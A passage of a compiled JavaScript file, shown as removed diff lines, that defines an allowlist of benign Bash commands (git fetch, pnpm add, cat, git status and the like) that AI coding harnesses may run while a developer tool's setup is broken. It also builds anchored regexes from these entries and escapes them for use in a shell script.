- new l0_entry_1.L0AllowEntry(`${exports.RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.RECOVERY_CMD, '')),
447
- // webpieces-disable no-fetch -- prose naming the git sync subcommand in a doc label, not an HTTP call
448
- new l0_entry_1.L0AllowEntry('git fetch - a bare git pull and git merge are NOT on the list', 'allow', true, FETCH_BODY_ERE, FETCH_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', 'git fetch', ''), [new l0_entry_1.L0Call('Bash', 'git fetch --prune origin main', '')]),
449
- // The one fork-point-safe pull: it ends on MAIN, so no feature branch is merged into. A bare
450
- // `git pull origin main` is deliberately NOT here — see CHECKOUT_MAIN_PULL_BODY_ERE.
451
- new l0_entry_1.L0AllowEntry(exports.CHECKOUT_MAIN_PULL_CMD, 'allow', true, CHECKOUT_MAIN_PULL_BODY_ERE, CHECKOUT_MAIN_PULL_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.CHECKOUT_MAIN_PULL_CMD, '')),
452
- new l0_entry_1.L0AllowEntry(exports.UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.UPGRADE_SHIM_CMD, '')),
453
- new l0_entry_1.L0AllowEntry(exports.RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.RESTORE_SHIM_CMD, '')),
454
- // The cure for unknown keys in webpieces.config.json — see PRUNE_CONFIG_BODY_ERE for why a cure the
455
- // messages name must be reachable from inside the block those messages are read under.
456
- new l0_entry_1.L0AllowEntry(rules_config_1.PRUNE_UNKNOWN_COMMAND, 'allow', true, PRUNE_CONFIG_BODY_ERE, PRUNE_CONFIG_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', rules_config_1.PRUNE_UNKNOWN_COMMAND, ''), [new l0_entry_1.L0Call('Bash', 'pnpm exec wp-prune-unknown-config', '')]),
457
- new l0_entry_1.L0AllowEntry(`${exports.INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.INSTALL_HOOKS_CMD, ''), [new l0_entry_1.L0Call('Bash', exports.INSTALL_HOOKS_TARGET_CMD, '')]),
458
- // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the
459
- // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not
460
- // become untypable under a later tightening.
461
- new l0_entry_1.L0AllowEntry(`${exports.ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`, 'allow', true, ADD_HOOK_PKG_BODY_ERE, ADD_HOOK_PKG_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.ADD_HOOK_PKG_CMD, ''), [
462
- new l0_entry_1.L0Call('Bash', `${exports.ADD_HOOK_PKG_CMD}@0.4.574`, ''),
463
- new l0_entry_1.L0Call('Bash', `pnpm add -D -w ${exports.HOOK_PKG}@0.4.574`, ''),
464
- new l0_entry_1.L0Call('Bash', `npm add --save-dev ${exports.HOOK_PKG}`, ''),
465
- ]),
466
- // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy
467
- // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because
468
- // while a fault is UP you have to be able to see where you are standing.
469
- new l0_entry_1.L0AllowEntry('read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list', 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.ORIENT_CMD, ''), [
470
- new l0_entry_1.L0Call('Bash', 'git rev-parse --show-toplevel', ''),
471
- new l0_entry_1.L0Call('Bash', 'git worktree list', ''),
472
- new l0_entry_1.L0Call('Bash', 'git status', ''),
473
- ]),
474
- // CODEX ONLY — entry 1's twin for the harness that has no `Read` tool. See CODEX_READ_BODY_ERE for
475
- // the deadlock it removes, why it is exactly as wide as core/shell-read-parity.ts, and why it alone
476
- // carries no `cd` prefix and no capture tail.
477
- //
478
- // NOT a cure (`cure: false`), for the identical reason read-only orientation is not one: it repairs
479
- // nothing, so on a HEALTHY tree it must not bypass L1 — a Codex `cat` still meets the ordinary bash
480
- // guards. And `pass`, not `allow`, so it mirrors entry 1 exactly: where the bin is running (fault
481
- // S) the read falls THROUGH to read-stale-guard, and where it is not (D/X/U/K) the sh half is
482
- // terminal by construction, which is the documented asymmetry entry 1 already has.
483
- new l0_entry_1.L0AllowEntry('CODEX ONLY - a read-shaped Bash command (the harness has no Read tool): '
484
- + `${[...shell_read_parity_1.READ_COMMANDS].join(', ')}, or sed -n '<range>p'`, 'pass', false, l0_codex_read_1.CODEX_READ_BODY_ERE, l0_codex_read_1.CODEX_READ_BODY_JS, 'codex', new l0_entry_1.L0Call('Bash', l0_codex_read_1.CODEX_READ_CMD, ''), [
485
- new l0_entry_1.L0Call('Bash', 'cat webpieces.config.json', ''),
486
- new l0_entry_1.L0Call('Bash', 'head -50 .webpieces/instruct-ai/webpieces.guard-matrix.md', ''),
487
- new l0_entry_1.L0Call('Bash', 'tail -n 20 package.json', ''),
488
- new l0_entry_1.L0Call('Bash', "cat '/Users/dean hiller/repo/package.json'", ''),
489
- ]),
490
- ];
491
- // The UNGATED bodies — every entry that is not scoped to one harness. A gated entry is spliced into its
492
- // own union below instead, which is what makes it unreachable from the harness it is not for.
493
- const L0_BODIES_ERE = exports.L0_ALLOWLIST.flatMap((e) => (e.ere === null || e.harness !== l0_entry_1.EVERY_HARNESS ? [] : [e.ere]));
494
- const L0_BODIES_JS = exports.L0_ALLOWLIST.flatMap((e) => (e.js === null || e.harness !== l0_entry_1.EVERY_HARNESS ? [] : [e.js]));
495
- // The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every
496
- // security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /
497
- // trailing `2>&1 | tail -N` are tolerated.
498
- exports.L0_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + exports.CAPTURE_TAIL_ERE;
499
- // L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the
500
- // rendered shim carries in `grep -Eq '<here>'`.
501
- //
502
- // It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a
503
- // `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\''` dance: close the
504
- // quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not
505
- // even valid sh, which is why this conversion lives here beside the pattern rather than in the
506
- // renderer — the pattern and its sh spelling must never be able to drift apart.
507
- exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE.split("'").join(`'\\''`);
508
- // JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.
509
- exports.L0_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + exports.CAPTURE_TAIL_JS_SRC);
510
- // The CURE subset of the same list — the entries that REPAIR the tooling.
511
- //
512
- // This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the
513
- // L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,
514
- // so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot
515
- // trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is
516
- // correct for a repair command and WRONG for anything else.
517
- //
518
- // So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding
519
- // `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a
520
- // perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault
521
- // isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.
522
- //
523
- // A harness-GATED entry is excluded here too, and not merely because today's one is a non-cure: this
524
- // union is consulted by runner.ts where NO harness has been established either, so a gated body spliced
525
- // in would be judged with the gate missing — i.e. reachable from the harness it was written to exclude.
526
- const L0_CURE_BODIES_JS = exports.L0_ALLOWLIST.flatMap((e) => (e.js === null || !e.cure || e.harness !== l0_entry_1.EVERY_HARNESS ? [] : [e.js]));
527
- exports.L0_CURE_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + exports.CAPTURE_TAIL_JS_SRC);
528
- //# sourceMappingURL=l0-allowlist.js.map